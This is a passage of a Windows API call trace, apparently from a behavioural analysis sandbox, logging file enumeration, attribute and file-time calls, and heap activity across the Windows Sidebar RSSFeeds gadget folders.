lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b5506d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bcadb7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bcadb7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b32843, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b32843, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b0c6e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b0c6e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0 [0080.813] GetLastError () returned 0x12 [0080.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229308) returned 1 [0080.813] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229728) returned 1 [0080.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a698) returned 1 [0080.814] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.814] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.814] GetLastError () returned 0x12 [0080.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.815] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="")) returned 1 [0080.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.815] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.816] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.816] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.816] NtClose (Handle=0x178) returned 0x0 [0080.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.816] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.817] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.817] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fef98 [0080.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229728 [0080.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.818] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.818] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fefb8 [0080.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229308 [0080.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.819] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.819] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fefd8 [0080.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122ced8 [0080.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.821] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.821] GetLastError () returned 0x12 [0080.821] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.821] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.823] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.825] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.825] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.825] NtClose (Handle=0x178) returned 0x0 [0080.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122cfe0 [0080.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d0e8 [0080.826] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.826] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.826] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.826] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0080.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d1f0 [0080.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feff8 [0080.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d2f8 [0080.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.828] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, 